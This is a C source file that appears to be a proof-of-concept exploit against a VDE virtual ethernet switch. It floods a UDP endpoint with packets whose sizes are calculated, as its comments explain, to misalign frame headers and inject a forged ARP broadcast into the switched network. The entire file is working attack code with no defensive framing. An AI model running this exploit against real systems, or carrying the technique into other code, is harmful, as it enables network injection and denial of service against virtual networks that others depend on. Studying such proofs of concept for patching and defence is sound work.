#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main(int argc, char **argv) {
  int socketFd;
  struct sockaddr_in localAddress, remoteAddress;
  char startPack[0x800], nextPack[0x800];
  char arpRequest[]={
  0x00, 0x2a, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x41, 0x41, 0x41, 0x41,
  0x41, 0x41, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x01,
  0x2a, 0x0d, 0x48, 0xf7, 0xaa, 0xc2, 0x0a, 0xff, 0xfe, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x0a, 0xff, 0xfe, 0x02, 0x00, 0x00, 0x00, 0x00
  };
  int retVal;

  socketFd=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  memset((char*)&localAddress, 0, sizeof(struct sockaddr_in));
  localAddress.sin_family=AF_INET;
  localAddress.sin_port=htons(9999);
  localAddress.sin_addr.s_addr=htonl(INADDR_ANY);
  if(bind(socketFd, (struct sockaddr*)&localAddress,
      sizeof(struct sockaddr_in))) {
    fprintf(stderr, "Bind failed, %d\n", errno);
    return(1);
  }

  memset((char*)&remoteAddress, 0, sizeof(struct sockaddr_in));
  remoteAddress.sin_family=AF_INET;
  remoteAddress.sin_port=htons(1234);
  remoteAddress.sin_addr.s_addr=htonl(0x0affff01);

  memset(startPack, 0x42, sizeof(startPack));
  memset(nextPack, 0x00, sizeof(nextPack));
// Add an arp broadcast
  memcpy(nextPack+0x200, arpRequest, 0x2c);

  while(1) {
// Start packet is just 0x800-1-0x1c-0x14--0xe*2-0x4=0x7af (Buffersize - 1 - UDP_header-UDP_fragment_header - link_header*2 - vde_frame_header*2)
    sendto(socketFd, startPack, 0x7af, MSG_DONTWAIT,
        (struct sockaddr*)&remoteAddress, sizeof(struct sockaddr_in));
// Next packet has to have vde_frame_header=0x401, so udp data has
// to be 0x401 - UDP_header - link_header (0x401-0x1c-0xe=0x3d7)
    sendto(socketFd, nextPack, 0x3d7, MSG_DONTWAIT,
        (struct sockaddr*)&remoteAddress, sizeof(struct sockaddr_in));
  }
}
